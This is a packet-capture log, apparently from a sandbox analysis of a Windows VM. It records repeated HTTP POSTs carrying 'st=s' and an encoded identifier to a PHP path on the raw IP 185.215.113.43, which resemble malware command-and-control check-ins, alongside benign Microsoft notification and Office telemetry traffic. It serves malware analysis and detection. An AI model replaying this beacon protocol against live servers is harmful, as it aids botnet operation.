Nov 19, 2024 01:08:05.781430006 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:08:06.700689077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	64342	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:08:08.218163967 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:08:09.141113997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	64343	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:08:10.768352032 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:08:11.692323923 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:08:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	64344	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:08:13.219788074 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:08:14.149772882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:08:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:10 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 51 36 65 54 50 52 59 44 4f 45 43 6d 56 65 2f 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 36 35 31 63 36 33 35 35 62 33 35 39 36 31 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Q6eTPRYDOECmVe/l.1Context: 6651c6355b359610
2024-11-19 00:01:10 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-19 00:01:10 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 51 36 65 54 50 52 59 44 4f 45 43 6d 56 65 2f 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 36 35 31 63 36 33 35 35 62 33 35 39 36 31 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 70 49 5a 68 4f 45 57 74 71 45 51 48 4a 42 55 30 41 43 72 6b 32 48 6e 48 45 2b 37 77 67 56 73 76 44 79 35 54 5a 43 64 57 37 39 4d 5a 43 58 74 37 52 35 77 34 30 54 6a 42 52 41 58 37 4c 73 4f 57 53 79 6b 76 49 62 4d 30 71 55 55 69 72 50 37 4e 2f 61 51 55 2b 44 36 41 57 6b 79 53 66 50 6b 74 4b 71 53 6b 59 45 39 62 41 66 58 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Q6eTPRYDOECmVe/l.2Context: 6651c6355b359610<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAepIZhOEWtqEQHJBU0ACrk2HnHE+7wgVsvDy5TZCdW79MZCXt7R5w40TjBRAX7LsOWSykvIbM0qUUirP7N/aQU+D6AWkySfPktKqSkYE9bAfXB
2024-11-19 00:01:10 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 51 36 65 54 50 52 59 44 4f 45 43 6d 56 65 2f 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 36 35 31 63 36 33 35 35 62 33 35 39 36 31 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Q6eTPRYDOECmVe/l.3Context: 6651c6355b359610<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-19 00:01:10 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-19 00:01:10 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 7a 65 4c 58 71 49 68 43 43 55 4b 50 72 4d 64 4b 72 61 69 44 63 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: zeLXqIhCCUKPrMdKraiDcA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:13 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:13 UTC	492	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:13 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: f97c396d-d01e-007a-478a-38f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000113Z-17cf5b775c468qpphC1DFWhuww00000000n000000000005h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 00:01:13 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-19 00:01:13 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-19 00:01:13 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-19 00:01:13 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-19 00:01:13 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-19 00:01:13 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-19 00:01:13 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-19 00:01:13 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-19 00:01:13 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-19 00:01:13 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:14 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:14 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:14 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000114Z-16547b76f7f9s8x7hC1DFWywrg000000066g00000000wf59 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:14 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:14 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:14 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:14 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000114Z-16547b76f7fgvq8chC1DFWhd2w0000000740000000009rvz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
